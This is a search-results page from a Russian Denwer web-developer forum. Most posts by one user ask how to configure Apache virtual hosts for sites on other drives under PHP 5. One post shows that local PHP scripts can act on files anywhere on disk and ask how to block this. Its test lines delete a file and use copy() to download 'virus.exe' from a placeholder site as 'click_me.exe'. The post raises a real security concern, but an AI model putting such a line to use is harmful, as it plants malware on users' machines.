Форум dkLab и Denwer
Здесь общаются Web-разработчики.
Генеральный спонсор:
Хостинг «Джино»

Search found 7 matches
Author Message
  Topic: Как указать сайты на других дисках?
v2016

Replies: 1
Views: 1006

PostForum: Базовый пакет :: Денвер   Posted: Wed Aug 08, 2018 3:49 pm   Subject: Как указать сайты на других дисках?
Алло
  Topic: Как указать сайты на других дисках?
v2016

Replies: 1
Views: 1006

PostForum: Базовый пакет :: Денвер   Posted: Mon Mar 19, 2018 10:14 pm   Subject: Как указать сайты на других дисках?
В Денвере с PHP 4 можно было прописать сайты которые находятся на других логических дисках, а в денвере с PHP5 так не работает. Что изменилось? Как сделать тоже на денвере с PHP 5? Конкретно с PHP 5.2

Там в файле httpd.conf
нужно было написать

Include conf/dop_hosts.conf

а в файле dop_hosts.conf


<VirtualHost 127.0.0.1:80>
ServerAdmin webmaster@host.some_domain.com
DocumentRoot G:/sitefiles/
ServerName sitefiles
ErrorLog /sitefiles/logs/
CustomLog /sitefiles/logs/
</VirtualHost>

И все работало. А вот в PHP5 так не получается. Что изменилось.

И в файле hosts кажется нужно было прописать их кстати...
И если в файле dop_hosts.conf что - то неправильно указать... ну например букву диска неправильную, то не открывался никакой сайт при запуске денвера.

Вот об этом не могу найти никак уже давно...
  Topic: Новые советы.
v2016

Replies: 59
Views: 168302

PostForum: Полезные советы :: Денвер   Posted: Mon Mar 19, 2018 8:39 am   Subject: А как чтобы было нельзя?
Я тут неожиданно для себя обнаружил, что через Денвер можно осуществлять любые действия с файлами и папками вне сайта и на любом диске...
И просматривать, и удалять, и закачивать и наверняка все остальные...
И с одной стороны это конечно очень здорово...
Но с другой создает проблемы с безопасностью если пользоваться чужими скриптами или даже тестировать чужие скрипты...
Поэтому вопрос возникает как можно сделать, чтобы было нельзя и php скрипты могли действовать только в пределах сайта на котором находятся.

Вот что строки которыми тестировал это у себя и все получилось... подозреваю, что и все остальные возможные действия типа переименования и создания файлов тоже получатся без проблем...

$files_h=scandir("H:\\files");
if(is_dir("H:\\files\\qwe")) echo "папка создана"; else mkdir("H:\\files\\qwe");
if(unlink("H:\\files\\123.txt")) echo "-----------------------";

copy("httр://kakoitosait.ru/virus.exe","H:\\files\\click_me.exe");
  Topic: Новые советы.
v2016

Replies: 59
Views: 168302

PostForum: Полезные советы :: Денвер   Posted: Mon Mar 19, 2018 7:03 am   Subject: Совет как сделать, чтобы выидны были сайты на разных логических дисках
В Денвере с PHP 4 можно было прописать сайты которые находятся на других логических дисках, а в денвере с PHP5 так не работает. Что изменилось? Как сделать тоже на денвере с PHP 5? Конкретно с PHP 5.2

Там в файле httpd.conf
нужно было написать

Include conf/dop_hosts.conf

а в файле dop_hosts.conf


<VirtualHost 127.0.0.1:80>
ServerAdmin webmaster@host.some_domain.com
DocumentRoot G:/sitefiles/
ServerName sitefiles
ErrorLog /sitefiles/logs/
CustomLog /sitefiles/logs/
</VirtualHost>

И все работало. А вот в PHP5 так не получается. Что изменилось.

И в файле hosts кажется нужно было прописать их кстати...
И если в файле dop_hosts.conf что - то неправильно указать... ну например букву диска неправильную, то не открывался никакой сайт при запуске денвера.

Вот об этом не могу найти никак уже давно...
  Topic: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
v2016

Replies: 7
Views: 4663

PostForum: Денвер — первые шаги :: Денвер   Posted: Mon Mar 19, 2018 6:30 am   Subject: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
И в файле hosts кажется нужно было прописать их кстати...
И если в файле dop_hosts.conf что - то неправильно указать... ну например букву диска неправильную, то не открывался никакой сайт при запуске денвера.
А сейчас как? Что изменилось? Как сделать, чтобы было так же?
  Topic: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
v2016

Replies: 7
Views: 4663

PostForum: Денвер — первые шаги :: Денвер   Posted: Mon Mar 19, 2018 6:18 am   Subject: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
Там в файле httpd.conf
нужно было написать

Include conf/dop_hosts.conf

а в файле dop_hosts.conf


<VirtualHost 127.0.0.1:80>
ServerAdmin webmaster@host.some_domain.com
DocumentRoot G:/sf/
ServerName sf
ErrorLog /sf/logs/
CustomLog /sf/logs/
</VirtualHost>

И все работало. А вот в PHP5 так не получается. Что изменилось.
  Topic: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
v2016

Replies: 7
Views: 4663

PostForum: Денвер — первые шаги :: Денвер   Posted: Mon Mar 19, 2018 6:14 am   Subject: Можно ли установить denwer так чтобы сайт распологался на 4 жестих дисках
В Денвере с PHP 4 можно было прописать сайты которые находятся на других логических дисках, а в денвере с PHP5 так не работает. Что изменилось? Как сделать тоже на денвере с PHP 5? Конкретно с PHP 5.2
 
Page 1 of 1 All times are GMT + 3 Hours
XML